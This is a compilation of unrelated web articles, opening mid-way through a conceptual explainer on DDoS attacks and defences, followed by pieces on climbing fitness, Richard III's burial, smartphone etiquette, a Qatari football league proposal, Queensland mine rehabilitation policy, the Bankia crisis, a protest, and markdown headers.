possibly be assembled to create the thing you wanted.  Application attacks Application attacks are interesting because they are hard to detect. They look like normal user traffic but target a specific part of an application to bring a server to its knees. For example, imagine a search engine called example.com that has a URL http://example.com/doallthework that, when visited, performs uncached lookups to the search engine’s database that are very CPU intensive. An attacker finds this and sends thousands of requests to this URL, which causes the servers to use up all of their CPU resources.  Not all of these attacks are necessarily malicious. Some readers may remember the term “Slashdotted,” which referred to a situation when a website was featured on Slashdot and the traffic directed to the site took it offline. We still see this effect from time to time when sites unexpectedly get featured on sites like Hacker News or Reddit.  Where is it all coming from?  Now that you have a rough idea of what DDoS attacks are, the next questions are, “How do attackers get all of this processing power?” and, “Where does it all come from?” These are valid questions. Sadly, the answers to these questions are complicated, because there are many avenues that can provide attackers with large attack pools.  Botnets  Botnets could be a topic all their own, but in a high-level sense, a botnet is a bunch of computers (usually at least ten and sometimes up to hundreds of thousands). Some botnets have done a lot of damage on the Internet. Botnets can be created in many ways, but one of the most common ways is to have a virus infect a computer and then wait for a command. Infected computers connect to an IRC channel or some other control center, and when the person in charge says, “Go!” they start some sort of attack or action. It should be noted that it is illegal in the United States to infect computers without the owner’s consent.  Many of these viruses exploit known security holes, so this is as good a time as any to remind you to update your passwords and keep your computer software patched. Windows users were historically the target of many virus exploits, but these days just about everyone is constantly targeted. I try to make sure all of my computers are up-to-date on the first day of every month, but you can also simply add automation to your system updates on many operating systems (tell your Mac to auto-install security updates, enable automatic apt-get updates, make sure Windows Auto-Updates are enabled, etc.).  To recap, a botnet is a group of compromised computers that listen for commands and then respond by carrying out attacks or actions. Many botnets are created by scanning the Internet for computers that are vulnerable to known exploits and then infecting them with code to make them unknowing members of a botnet.  DNS amplification and IP spoofing  DNS amplification attacks are one way to make it look like you’re being attacked from one location when you’re really being attacked from another. Basically, the attacker sends a request to one or more DNS servers. This request has a false source address, so when the DNS servers respond, they respond to the target instead of to the attacker who originated the request. The target then sees a lot of traffic from the DNS servers but has no idea where the requests originated. Making matters worse, these responses are often quite large in comparison to the initial request, thanks to DNS recursion, which allows someone to ask DNS servers for information that the servers do not know. The servers will query other DNS servers to get that information and then return it. For a 64-byte request, you could get a 3876-byte response, for example.  This type of attack is a form of IP spoofing. Similarly, last year we saw a string of NTP amplification attacks. NTP is the Network Time Protocol and is unauthenticated like DNS. It, too, can receive requests that cause the NTP server to send responses larger than the original request to computers that did not make the initial request. DNS and NTP are just two examples of IP spoofing. There is constant ongoing research by attackers to find new services that are susceptible to these types of attacks.  The US CERT article linked earlier on DNS amplification has a lot of data on these types of attacks, but one key detail is particularly important: In 2000, the IETF proposed Best Current Practice 38. Titled, “Network Ingress Filtering: Defeating Denial of Service Attacks which employ IP Source Address Spoofing,” this proposal suggested that ISPs verify packets on their networks are actually coming from their stated origin (i.e., where they say they are coming from). In 2012 it was suggested that 80% of the Internet does this, which is fairly good news. This relatively high level of adherence to best practices goes a long way toward helping protect you without you having to do anything, but these sorts of attacks still happen, and you should remain aware of them.  Many hosting providers and networks also implement egress filtering. Egress filtering is the opposite of ingress filtering. In egress filtering, routers examine traffic as it leaves the network. Checks are configured on a per network basis, but common checks are to verify that packets leaving the network have an IP belonging to that network and to make sure the traffic type is allowed (such as DNS, HTTP or SMTP). This filtering helps prevent traffic from going across networks that are unrelated to the request.  Why should I care?  Engineering is a never-ending problem of cost-benefit analysis. With no constraints, an engineering team can prepare for a large set of possibilities of failure given enough imagination, time and money. But in reality, every system has different reliability requirements. For example, my personal website does not need to be as reliable as gmail.com, which does not need to be as reliable as a plane’s fly-by-wire system.  Imagine your site is down for an hour. Now a day. Now a week. Will this hurt your livelihood? Will it cost you money? Will people die?  If yes, that’s a good thing to know, and you should be prepared to make investments to counteract bad outcomes. As the Digital Attack Map website mentions, your attackers can buy a lot of sustained attack power for $125.  What protections are available?  Protecting yourself from DDoS is complicated: As we have not created the Minority Report system to predict all of the possible attacks in the world, we have no idea who will become a target, when an attack will occur, or how large an attack will be.  But even if you’re small, don’t have a lot of resources to invest, and have a history of angering people who tend to initiate cyber-attacks against people they disagree with (such as the US Government, the Chinese Government, religious extremists or “hacktivists”), there are still some things you can do to protect yourself.  If you’re a source of free expression that a government or other group is trying to silence, you can apply for Google Ideas’ new Project Shield.  If you are not, you can use one of many for-pay services from large companies that have extra bandwidth and large networks to absorb attacks. Akamai, Amazon, CloudFlare, Google and others all have products like this.  Further reading and research  I mentioned in the introduction that there are strategies for surviving these types of attacks. The last section of this article gave a taste of some of these, but I have only included a small sampling of the vast body of knowledge that exists about countering DDoS attacks and keeping a popular website online. If you would like to explore this topic further, I have included links below to help you get started.
-Performing better (while older or younger)  Date: 29th May 2013  This spring I’ve put a fair number of days into sport climbing, and it has paid off. I’m climbing close–but not there yet–as hard on rock as I was in my mid-20s, even though I’m now 46. Yeah, that’s a dire number, I don’t know how I managed to live this long. It wasn’t planned. In any case, I’ve been thinking a lot about training, aging and life. In no particular order:  The first key to staying fit for climbing–or any sport–as you age is to goddamn well stay fit. This means not ever turning into a desk-jocky office sloth any more than is necessary to make a living. Move. Even if I’m not climbing I’m paddling, hiking, skiing, mountain biking, lifting weights, swimming, whatever, doing something, pretty much every day. I sometimes shudder when I see some of my friends who I haven’t seen in years; a few pounds is OK as we age and fighting that probably isn’t worth the effort, but for god’s sake it’s not OK to be the stoop-shouldered shuffling smoked husk of a human body that I see so often in North America. Gain 40 pounds, sit around, you can just see the toll it takes on a body and mind…  Eat well. The heaviest I’ve ever been was 185 pounds. To reach this weight I did a lot of Crossfit and not much other activity while eating a ton of meat and basic foods; my bodyfat was probably still under ten or 12 percent, but definitely higher than it normally is. The lightest I’ve been as an adult was 145, and I was, let’s face it, an anorexic stick boy at sub-4 percent or less body fat. That sucked. My best climbing weight when climbing “fit” is about 155 (best in terms of performance, the only “weight” that counts). I’m now about 160. Good enough given that I’m 20 years older, although I suspect my weight will drift toward 155 as I climb. I eat well enough, exercise enough, and don’t let some neurotic diet interfere with actually performing well at my sport, which right now is rock climbing but in general is life. I’ll get heavier during paddling season, lighter during climbing season, and lightest of all if I’m doing a ton of aerobic mountain sports where I lose muscle and burn fat for energy every day.  Attack your weaknesses. As I’ve aged my “natural” power has gone down. I have to work at this more. My endurance is as good as it ever was. I boulder more, do some fingerboard workouts, and rest adequately. If you don’t know your weaknesses then that’s your weakness. Most of the “general” workouts on the web and in print are for someone else’s weaknesses, not yours.  Be ruthless about distractions: You can’t climb hard and do Crossfit and ride your mountain bike and go to barbecues every night and have a family and a job and a new car and a perfect lawn and and. Ya gotta decide what’s important, and then do that. I coach athletes and often hear, “I’m too busy to do more.” Probably 30 percent or more of what we do in any given day is nonsensical BS. Cut the TV, internet, weight workouts, yoga, brunch, whatever, do your sport and what’s actually important in life. Yes, there are exceptions, but everyone seems to think their exceptions are relevant. Most aren’t. Doing your sport and what you really feel is important in life is what counts. Reading your kids books counts; keeping current on internet memes is not.  Avoid “performance boosters!” If anyone mentions “The Force,” homeopathy, magnets, “The Secret” or any of this sort of head-in-ass dreck avoid them and their products. They are idiots, and so are you if you buy into their snake-oil. There are a few supplements that demonstrably do something positive for our bodies and performance. Most of them are illegal, and I’ve yet to find one that is worth taking day in and day out other than my daily Red Bull or coffee prior to training. If the claims sound ridiculous or have no plausible (I’m not talking peer-reviewed double blind studies, let’s just start with plausible) explanation then in all likelihood the product or system is bogus.  Avoid any book with “Diet” on the front cover. It doesn’t work. That’s why there are thousands of diet books. If any one of them actually worked there would only need to be one. Eat basic unprocessed foods mostly, exercise lots, the rest is marketing hype.  Hang out with people who do what you want to do, are stoked, and are better at it than you (but chose fun over talent if it comes down to that). If your friends are really stoked on barbecues and brunch then you’re not going to be any good at anything but barbecues and brunch. Hang out with people who are psyched to do fun things regularly and you will be too. Avoid negative time-sucking people, they are evil and if life were fair would be struck down by lightning. All of my best sports performances have a psyched training partner in common.  And do ten sets of ten of exercise X… Or go do your sport with love, intensity and meaning, track your progress carefully and ruthlessly edit your training to get results. My goal for this spring is to rock climb as well as I did when I was 26. Right now I’m onsighting 12c/7b+ with about 50 percent consistency. I’d like to onsight some more 13a/7c+ routes this summer. Let’s see how that goes. Progress reports here. I like getting older so this isn’t about turning back the clock, this is about climbing hard routes without falling off. Game on.  Posted in: Blog  Comments
-Richard III may have been the King of England and the subject of a Shakespearean play, but even that couldn’t keep him safe from ending up in a hastily-dug grave that ultimately became part of a parking lot, according to a new study published in the journal Antiquity.  And while a century of peace followed his death, the late king’s body was reportedly stripped naked, despoiled and publicly displayed for three days before it was buried in what was at the time the Greyfriars monastery in Leicester.  The grave, described for the first time in an academic paper, highlights five specific points regarding the ill-fated king who died in 1485 in the Battle of Bosworth.  First of all, the grave Richard III was placed in was “badly prepared,” which, the researchers from the University of Leicester said, suggests gravediggers were in something of a rush to get the corpse underground.  Second, the king is placed in an “odd position,” with the skeleton’s torso crammed into the small space and its head propped up on one side of the grave, which (and this is the third point), is “too short at the bottom to receive the body conventionally.”  Fourth, someone apparently stood in the grave at the time the body was placed in it in order to receive it, suggested by the fact that the body is not placed centrally in the grave.  And finally, there is evidence that the man’s hands may have been tied at the time of burial.  All of this, the researchers write, is in stark contrast to the other medieval graves found in the same area, which were all standard, correct lengths and dug neatly with vertical sides.  In short, either the gravediggers were in a hurry or they had little respect for the deceased, according to the study’s authors.  Such a find is in keeping with accounts from the medieval historian Polydore Vergil, who recorded the king’s death as having been "without any pomp or solemn funeral.”  Moreover, the authors of the study argue, the skeleton itself points to the fact that the man buried in the ignominious grave discovered within the last year is in fact Richard III.  "The radiocarbon dates, evidence on the male skeleton of severe scoliosis, trauma consistent with injuries in battle and potential peri-mortem 'humiliation injuries', combined with the mtDNA match with two independent, well-verified matrilineal descendants all point clearly to the identification of this individual as King Richard III,” the researchers said in a statement. “Indeed, it is difficult to explain the combined evidence as anyone else.”
-In Hollywood, both the Creative Artists Agency and United Talent Agency ban BlackBerry use at meetings. Tom Golisano , a billionaire and power broker in New York State politics, said last week that he pushed to remove Malcolm A. Smith as the State Senate majority leader after the senator met with him on budget matters in April and spent the time reading e-mail on his BlackBerry.  The phone use has become routine in the corporate and political worlds — and grating to many. A third of more than 5,300 workers polled in May by Yahoo HotJobs, a career research and job listings Web site, said they frequently checked e-mail in meetings. Nearly 20 percent said they had been castigated for poor manners regarding wireless devices.  Despite resistance, the etiquette debate seems to be tilting in the favor of smartphone use, many executives said. Managing directors do it. Summer associates do it. It spans gender and generation, private and public sectors.  A few years ago, only “the investment banker types” would use BlackBerrys in meetings, said Frank Kneller, the chief executive of a company in Elk Grove Village, Ill., that makes water-treatment systems. “Now it’s everybody.” He said that if he spotted 6 of 10 colleagues tapping away, he knew he had to speed up his presentation.  It is routine for Washington officials to bow heads silently around a conference table — not praying — while others are speaking, said Philippe Reines, a senior adviser to Secretary of State Hillary Rodham Clinton . Although BlackBerrys are banned in certain areas of the State Department headquarters for security reasons, their use is epidemic where they are allowed.  “You’ll have half the participants BlackBerrying each other as a submeeting, with a running commentary on the primary meeting,” Mr. Reines said. “BlackBerrys have become like cartoon thought bubbles.”  Photo  Some professionals admitted that they occasionally sent mocking commentary about the proceedings, but most insisted that they used smartphones for legitimate reasons: responding to deadline requests, plumbing the Web for data to illuminate an issue under discussion or simply taking notes.  Advertisement Continue reading the main story  Still, the practice retains the potential to annoy. Joel I. Klein , the New York City schools chancellor, has gained such a reputation for checking his BlackBerry during public meetings that some parents joke that they might as well send him an e-mail message. Few companies have formal policies about smartphone use in meetings, according to Nancy Flynn, the executive director of the ePolicy Institute, a consulting group in Columbus , Ohio . Ms. Flynn tells clients to encourage employees to turn off all devices.  “People mistakenly think that tapping is not as distracting as talking,” she said. “In fact, it can be every bit as much if not more distracting. And it’s pretty insulting to the speaker.”  Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content , updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters.  Still, business can be won or lost, executives say, depending on how responsive you are to an e-mail message. “Clients assume they can get you anytime, anywhere,” said David Brotherton, a media consultant in Seattle . “Consultants who aren’t readily available 24/7 tend to languish.”  Playful electronic bantering can stimulate creativity in meetings, in the view of Josh Rabinowitz, the director of music at Grey Group in New York, an advertising agency. In pitch meetings, Mr. Rabinowitz said, he often traded messages on his Palm Treo — jokes, ideas, questions — with colleagues, “things that you might not say out loud.”  The chatter tends to loosen the proceedings. “It just seems to add to the productive energy,” he said.  But business relationships can be jeopardized. Lori Levine, the founder of Flying Television, a talent-booking agency in Manhattan, said that in an effort to be environmentally sensitive she instructed employees to take notes on BlackBerrys instead of paper during client meetings.  “Then I got a call from a client screaming that our vice president spent an hour on his BlackBerry during a huge meeting,” Ms. Levine recalled. To soothe the client, Ms. Levine read aloud the notes the vice president had taken.  In Dallas , a college student sunk his chance to have an internship at a hedge fund last summer when he pulled out a BlackBerry to look up a fact to help him make a point during his interview, then lingered — momentarily, but perceptibly — to check a text message a friend had sent, said Trevor Hanger, the head of equity trading at the hedge fund, who was helping conduct the interview.  Very few companies have policies on smartphone use in meetings, which leaves it up to employees to feel their way across uncertain terrain.  Advertisement Continue reading the main story  To Jason Chan, a digital-strategy consultant in Manhattan, different rules apply for in-house meetings (where checking BlackBerrys seems an expression of informal collegiality) and those with clients, where the habit is likely to offend. There is safety in numbers, he added in an e-mail message: “The acceptability of checking devices is proportional to the number of people attending the meeting. The more people there are, the less noticeable your typing will be.”  Beyond practical considerations, there is also the issue of image. In many professional circles, where connections are power, making a show of reaching out to those connections even as co-workers are presenting a spreadsheet presentation seems to have become a kind of workplace boast.  Mr. Brotherton, the consultant, wrote in an e-mail message that it was customary now for professionals to lay BlackBerrys or iPhones on a conference table before a meeting — like gunfighters placing their Colt revolvers on the card tables in a saloon. “It’s a not-so-subtle way of signaling ‘I’m connected. I’m busy. I’m important. And if this meeting doesn’t hold my interest, I’ve got 10 other things I can do instead.’ ”
-Qatar are set to offer £175m each to entice sides like United and Chelsea to play in the DFL  According to reports in a national newspaper, Qatari organisers want four Premier League outfits to take part in their 'Dream Football League' in the summer of 2015.  Bankrolled by the Qatari Royal Family - who are set to announce plans for the Dream Football League (DFL) next month - United, City, Chelsea and Arsenal are amongst the world's top sides set to be invited to compete.  Qatar is set to host the World Cup in 2022, and wants to raise the profile of the country as one of the globe's leading footballing powers.  Qatar is set to host the World Cup in 2022, and wants to raise the profile of the country as one of the globe's leading footballing powers  Each club is reported to be offered £175m just for taking part in the competition, which is set to involve 24 teams and take place in the summer every two years either side of international tournaments.  The DFL poses a direct threat to the Champions League, which paid out less than £50m in total last season to winners Chelsea.  Set to be played in Qatar and its nearby Gulf states, the plan would see 16 permanent members of the DFL supplemented with a further eight clubs from around the world handed invitations to each event.  The idea is for 24 of the world's top sides, like Real and Madrid, to compete against one another  None of football's major governing bodies have yet responded to the proposals, including the Premier League.  If the suggestions are to be believed, English top-flight sides such as Tottenham, Liverpool, Everton and Newcastle are likely to lead the charge against the tournament.  And despite the incredible sums of money on offer, it would require some careful negotiation from Qatari diplomats to convince FIFA or UEFA to agree to its plans.  Paris Saint-Germain are said to be backing the plans, due to their Qatar-based ownership
-This article is written by Matthew Austin and Anna Vella.  As stated in our recent article about the Queensland government’s proposed redesigned financial assurance framework for resource projects, the government is undertaking a broad review of mining projects to achieve a tailored solution for various types of operators within the resource sector– aimed at encouraging ‘best practice’ environmental outcomes, dealing with residual risk issues and to reduce the State’s risk in the event of environmental and rehabilitation obligations not being met.  In addition to announcing potential changes to the financial assurance framework and a broader jurisdictional review, the Queensland government has released a discussion paper which outlines a proposed new policy for mine rehabilitation in Queensland.  Existing rehabilitation issues  Mining project rehabilitation is required under the Environmental Protection Act 1994 (Qld) (EP Act). Where a proponent for a mining activity makes a variation or site-specific environmental authority (EA) application, the EP Act requires the proponent to provide details as to how the land the subject of the application will be rehabilitated after each relevant activity ceases. In approving an EA application for a mining activity, the Department of Environment and Heritage Protection (DEHP) may impose a condition which relates to rehabilitating or remediating environmental harm caused by the undertaking of that activity.  For some time, the criticism of Queensland’s mining rehabilitation requirements have been gaining momentum as, among other things:  the progressive rehabilitation obligations for a mining activity are informed by the project’s plan of operations ( PoO ), which has a limited forward planning horizon;  EA approval conditions have not provided detail as to the environmental outcomes, environmental criteria and ultimate land uses which are to be achieved on the land upon which mining activities are carried out;  the regime does not provide a meaningful financial incentive for mining proponents to undertake progressive rehabilitation;  rehabilitation commitments as stated in an environmental impact statement or a PoO are not necessarily translated into enforceable conditions or obligations; and  little guidance has been provided to mining proponents to indicate what the DEHP requires to be satisfied with rehabilitation so that it can be progressively certified (as part of an ongoing mining project) or to be accepted upon surrender of an EA for the whole or part of a project.  Rehabilitation policy and delivery elements  The rehabilitation discussion paper released by the Queensland government is a key component of an integrated mined land management framework.  At this stage, the possible rehabilitation reforms are limited to the undertaking of mining activities – but may be broadened to eventually include the undertaking of petroleum activities.  The rehabilitation policies underlying the discussion paper are that:  all mined land in Queensland should be rehabilitated so that it is able to support another land use;  mined land is to be rehabilitated progressively to minimise risks of environmental impacts and to demonstrate the success of waste and land management solutions. Central to the policy and to provide certainty about the outcomes and timing of rehabilitation, mining companies with large mines will be required to prepare a ‘life-of-mine’ plan ( LOM Plan ) which encompass all states of the mine’s life – such as development, operation, care and maintenance, decommissioning, closure and post-closure monitoring - and will include binding milestones that support transition to its future use. In circumstances where major changes need to be made to the LOM Plan over the life of the mine – the public is to have an opportunity to comment on those changes;  when preparing a LOM Plan, future land uses will be identified having regard to community views and any desired use expressed in local and regional planning strategies, but may include retaining built infrastructure that will have ongoing value for the landholder or the community;  a LOM Plan will include actions and time-based milestones for achieving rehabilitation outcomes which are intended to be enforceable and enable the regulator to act if an operator fails to meet its obligations;  mined land will be considered available for rehabilitation unless it is:  being mined; or  being used for operating mining infrastructure; or  overlays a mineral reserve that has been assessed as economically viable for extraction within 10 years;  mined land will be considered to be rehabilitated when it can be demonstrated it is safe, stable, will not cause environmental harm and is able to support the post mining land use;  regular monitoring, assessment and public reporting of progress against rehabilitation outcomes stated in the LOM Plan are proposed which may in turn replace existing reporting processes – self-assessment by the operator is to be supplemented by independent auditing every three to five years as well as regular regulator checks;  guidelines will be produced which outline standard criteria for common types of rehabilitation outcomes and the process companies must follow to develop additional completion criteria for rehabilitation outcomes that reflect site-specific characteristics. Further guidance is also to be developed as to the standard of scientific evidence required to support EA surrender application and the process for assessing final rehabilitation.  The discussion paper also contemplates that, to incentivise compliance, a risk factor based on rehabilitation performance could be built into the annual fee calculation for environmentally relevant activities and fees discounted where auditing and compliance show full compliance. Increased fees could be imposed where substantial non-compliance is identified.  Proposed transitional arrangements  At this stage, the government expects that the legislative changes required to implement the intentions of the rehabilitation discussion paper are likely to be made in mid-to-late 2018.  The new rehabilitation framework is to apply:  to all new mines in Queensland that require an EA obtained through a site-specific assessment process; and  progressively to all current operating site-specific mines – with a varying transitional arrangements depending on whether a mine is considered to be:  ‘high risk’ – based on factors which may include area of disturbance, proximity to significant environmental areas and the expected remaining life of mine - which will need a LOM Plan within 1 year of the legislative provisions commencing; or for the remaining existing mines, a LOM Plan will be required within 2 years after commencement of the legislative provisions.  Conclusion  The reforms outlined in the rehabilitation discussion paper seek to achieve – among other things:  binding and enforceable rehabilitation obligations for new and existing mines which will be developed through a LOM Plan which encompass all stages of mine development;  progressive rehabilitation of mined areas over the life of a mine;  mining companies planning and committing to enforceable rehabilitation obligations;  monitoring, assessment, auditing and reporting occurring on a regular basis with the opportunity for community scrutiny and third parties being consulted if major changes are proposed to made to the LOM Plan; and  more rigour around ‘care and maintenance’ obligations for mining projects.  The overall effectiveness of this aspect of the overall reform framework will become more clear once detail as to the regulator’s final certification requirements for rehabilitation requirements is made available.  Similarly to the financial assurance discussion paper, the Queensland government is seeking feedback on the proposed rehabilitation reform package by 15 June 2017.  If you would like information about how your business may be affected please contact us.  Better Mine Rehabilitation for Queensland, Discussion Paper, Department of the Premier and Cabinet, Queensland Treasury, Department of Natural Resources and Mines and Department of Environment and Heritage Protection, released on 4 May 2017: https://www.treasury.qld.gov.au/projects-infrastructure/initiatives/improving-outcomes-resources-sector/better-mine-rehabilitation-in-qld-discussion-paper.pdf  In circumstances where an environmental impact statement is prepared under the EP Act and/or as per the requirements of section 125(1)(l)(i)(E), EP Act.  Section 207(1)(e), EP Act. Guidance is also provided by the Department of Environment and Heritage Protection’s Rehabilitation requirements for mining resource activities guideline, Version 2, 23 May 2014: https://www.ehp.qld.gov.au/assets/documents/regulation/rs-gl-rehabilitation-requirements-mining.pdf  With a view to potentially removing the need to prepare PoOs, which is likely to duplicate LOM Plan requirements.  Better Mine Rehabilitation for Queensland, Discussion Paper, op. cit, p. 26.
-One of Spain's most high-profile financiers, Rodrigo Rato, has resigned as head of Bankia just hours after prime minister Mariano Rajoy announced a major shake-up of the troubled banking sector.  Rato's surprise departure on Monday was seen as proof that ailing Bankia, which holds 10% of the country's deposits, was about to be rescued by the Spanish government.  Bankia now looks likely be the centrepiece of a fresh round of financial-sector reforms as Rajoy tries to boost confidence in a country that lies at the heart of the eurozone crisis.  Rajoy looked ready to backtrack on pledges not to use more public money on banks. "The last thing I would do would be to inject or lend public money, but if it is necessary I would not hesitate to do it, just as other European countries have done," Rajoy told a radio interviewer.  He was speaking as the financial markets attempted to digest the implications of the election of the Socialist François Hollande as president in France and the outcome of the Greek elections, where the formation of a government looked unlikely.  Rajoy said details of the shake-up in Spain would come after Friday's cabinet meeting, but there were rumours that a Bankia announcement would come sooner.  Bankia is at the centre of worries about the impact on Spanish banks of toxic real estate assets left over from a residential housing bubble that burst in 2008.  It is reported to need up to €10bn, which could come via Spain's own bank restructuring fund.  Bankia is reportedly going to borrow at 8% interest through a form of debt known as contingent capital, which turns into equity in times of stress – effectively becoming a part-nationalisation.  Rato had consistently maintained Bankia could continue as an independent bank and had no solvency or liquidity problems.  The creation of a "bad bank" for toxic real estate assets is another option being explored by the government, though Rajoy said on Monday that he did not like the idea.  There have also been rumours that the European Financial Stability Facility rescue fund could be used to prop up Spain's more troubled banks – which do not include the biggest two, Santander and BBVA.  Spanish banks escaped the subprime crisis after the central bank banned them from getting involved in riskier derivatives.  But they have largely rolled over the huge loans they themselves handed out to Spanish speculators, developers and construction companies in the boom years before 2008.  With land values plummeting and house prices also dropping dramatically, many developers have gone bust and banks have been caught out.  Rather than pull the plug on building projects, however, they have often encouraged companies to finish off residential projects in a country where some 700,000 new homes are estimated to remain unsold.  The finished homes have been taken by the banks in place of unpaid loans, but analysts worry they have not owned up to the full drop in value of this vast stock of housing and often worthless building land.  Banks have some €320bn of property, with half labelled as problematic by the country's central bank. Some €32bn of those toxic assets belong to the Bankia group, which had recognised €12bn of losses on them.  Bankia is the result of the merger of seven regional savings banks, which were the most reckless lenders during the housing boom.  The government has already spent €18bn cleaning up the country's financial sector. Dozens of savings banks have been forced into mergers and banks have been told to recognise more than €50bn in losses on property loans and assets.  But a February bank reform failed to convince markets that Spain, which has slumped back into recession and is suffering 24% unemployment, had solved the problem.  Spain's banks as a whole have until 31 May to say if they need to merge with other entities under the February reform plan.  Austerity measures aimed at slashing the government deficit from 8.5% to 3% of GDP over two years have helped tip Spain into recession – increasing the likelihood of banks also having to deal with a flood of mortgage defaults.
-check help page for viewing love.swf in full screen  Check this help  a: This is why I will never ever go to the UK. (February 14, 2009, 6:52 pm)  God: Oh crap. Another year, same flash. (February 15, 2009, 4:07 pm)  Ololo: Horrible, but... WTF?! LMAO!!!!:-P (February 17, 2009, 8:32 pm)  Blank: This is so old, why'd you have you upload it again? (February 21, 2009, 12:02 am)  :3: didn't see that coming.. (February 24, 2009, 8:30 pm)  mikesta: u British r weird.... but then again my friends call me disturbed so dont have much room 2 talk (seriously) (February 28, 2009, 6:59 am)  backl: Yearly dose. (May 3, 2009, 12:48 pm)  All comments can be found from here: Comments for love.swf  (humor - Valentines day)  Navigation: Dagobah Flash Gallery  Tags for love.swf: humor - Valentines day
-By Unicorn Riot  In August of 2015, a group by the name of “Minnesota 10,000 for Southern Heritage”, received a permit to rally at the capitol in support of the confederate flag.  A facebook event to counter-protest the permitted confederate flag rally, named Unity Against White Supremacy & the Confederate Flag, and organized by the IWW GDC (Industrial Workers of the World | General Defense Committee), drew the RSVP of over 400 people.  On the early morning of Saturday, September 5th, 2015, the counter-protest marched to the capitol from a location close to the site of Marcus Golden’s death by the bullets of St. Paul police officers.  Before the march took off to the capitol, a speaker announced that the confederate flag rally had been cancelled and that the action was victorious in not allowing space for racists.  While reaching the Christopher Columbus statue on capitol grounds, the crowd chanted of “tear it down”, referring to the statue, which is a representation of white supremacy to many of the participants.  Speakers ranging from Black Lives Matter organizers to Native Lives Matter to IWW and others spoke about the importance of collectively combating racism while a confederate flag was torn apart and burned.
-beyond markdown  bowerbird Blocked Unblock Follow Following Oct 2, 2014  — part 5  shining a spotlight on sections and headers  this is part 5 of an ongoing series. you can find  a list of links at the bottom of the article which  will direct you to the other parts of the series…  ***  ok, this piece got a lot longer than i intended,  so let me give you a “tl;dr” option on this one.  the topic is headers, .html tags “h1" through “h6".  markdown’s example of headers goes like so:  markdown header input:  http://zenmagiclove.com/simple/markdown-input-headers.png  i’ll ignore the other ways markdown can do headers,  underlying with equal-signs and dashes. too obtrusive.  markdown header input and output from the dingus:  http://zenmagiclove.com/simple/markdown-dingus-headers.png  ***  pretty hard to beat that for input simplicity, right?  just start a line with some hashmarks. that’s easy.  and you get “headers”, big and bold, as expected.  and sure enough, put the same text in z.m.l. and  you will get back similar “headers”, big and bold.  markdown headers take 1 minute to learn because  they are 1 minute deep. and z.m.l. headers can be  1 minute deep, if you want. or they can go deeper.  so if you want the 1-minute version, there you go.  we’ll consider the two to be “the same”. for now.  so, if you’re too busy for the whole story, which is  quite a bit more complicated, and more interesting,  you can leave now. ok, so much for the tl;dr version.  ***  ok, demo examples are often “unrealistic”, so  this wouldn’t necessarily be a criticism per se,  but surely we agree this one _is_ “unrealistic”;  you don’t often see a set of 3 headers in a row,  each one containing no content underneath it.  (some cheat-sheets actually list all _6_ levels!,  in a very compelling example of input/output  that you will never ever see in the real world.)  what you usually see is a header announcing a  section of some type, with its content below;  a header without any section below it is weird.  what i am driving at is this: if your idea of what  defines a “header” is “a line that’s big and bold”  — via having the requested markup of h1 to h6,  while having no regard for the section below —  then know that z.m.l. offers you the same thing.  and you can also stop reading shortly after this.  but if that’s really what your idea of a “header” is,  then maybe you should just stay with markdown.  because headers — or, more precisely, sections —  are one of the most important concepts in z.m.l.  zen markup language is not a mindless converter  changing shorthand to .html in a reductionist way.  it’s a document-processor that encapsulates a text  in a holistic sum-is-greater-than-the-parts manner.  so, my friends, if your idea of a “header” involves  something more “semantic” than “big bold line”,  more like labeling the meaning and/or the content  of a section in a document, then you might wanna  settle in and read this entire piece at your leisure.  ***  which, aside, reminds me that i really appreciate  the great response you’ve shown for this series!  lots of you are viewing it, and even reading the  entire pieces, at least according to medium.com.  even “part 4" — which weighed in at 18 minutes!  and let’s face the facts, folks, you’re essentially  reading the _manual_ for zen markup language,  and we all know how rare it is to read a manual.  (most of all, we few who typically actually _do_!)  i know that i didn’t really expect you to read it.  first, it’s kind of boring, and second, i’m really  terrible at writing this type of stuff, so sorry.  explaining stuff brings out my over-explainer,  and he can bore anybody, most especially me.  i was just writing this up so i could point to it,  if people ever started asking me any questions.  the old “i’m-not-your-mama, r.t.f.m.” brush-off.  i didn’t expect people to show any real interest  until i gave you all a real z.m.l. authoring-tool,  so you could fiddle around with it and see that,  hey, it really is very simple, and it really works,  and it really could be something that replaces  inconsistent markdown with a reliable format,  and it really does give writers a real advantage,  and i’m gonna start using it and telling people.  really.  and i still expect that all of that _will_ happen,  when i give you the authoring-tools — soon! —  but i’m pleasantly surprised at the interest that  you have _already_ shown, so thank you kindly.  oh, and in case you’re wondering, most of the  tools that i offer will be absolutely free of cost.  those tools run the full range, web and native,  cross-platform, and ported to many languages.  (so coders, resist the urge, because you’ll just  be reinventing the wheel now, when later you  can help make the wheels work even better.)  i might have to charge a small amount to offer  stuff out of the apple stores, because you must  pay apple their fee to be “an official developer”,  but in general i pledge most of this will be free.  ok, now “part 5". i know you’re so excited! ;+)  ***  the series is discussing “zen markup language”  — “z.m.l.” — which is a light-markup solution.  it is thus very similar to “markdown”. however,  z.m.l. was designed independently of markdown  (and i started it several years before markdown,  even before “textile”, markdown’s inspiration),  so z.m.l. avoids some of the flaws in markdown  — ergo the “beyond markdown” series title —  although you might find they are more similar  than dissimilar; but one of the features where  they diverge in important ways is _“headers”._  headers, of course, are extremely important,  as they cordon off _sections_ in the document,  such as the _chapters_ of a novel, for instance,  individual _pieces_ in an anthology, and so on.  and because z.m.l. goes the most simple route,  it considers the _header_ for any section to be  the first chunk which is found in that section.  or, to say it another way, the first chunk found  in a section is ruled to be that section’s header.  so how does z.m.l. decide it has “a new section”?  well, easy.  just like one blank line signals “a new chunk”,  whether that chunk is a “paragraph” or a “block”,  a set of 5 blank lines signals “a new section”…  just like one blank line  signals “a new chunk”,  a set of 5 blank lines  signals “a new section”  and, since i have just said that the first chunk  in a section is defined as that section’s header,  we come to the startling realization that there  is actually no need to even _mark_ that header,  because the 5-blank-line sequence already did!  but now i’m getting way ahead of myself…  so let’s reel it back in, to start at the beginning.  and when we talk about sections, and headers,  then we should begin with the table of contents.  ***  bow down to the table of contents  z.m.l. has a focus on long-form documents, like books,  reports, journal articles, etc. — documents of substance.  these types of documents usually make a large webpage,  or even a whole set of united webpages across a website.  markdown, on the other hand, is often used on things  such as blog comments (or the blog article itself), and  particularly user-generated content, where that text is  a little part of a webpage, or a relatively small webpage.  indeed, markdown is usually converted as a “snippet”;  you _add_ the .html 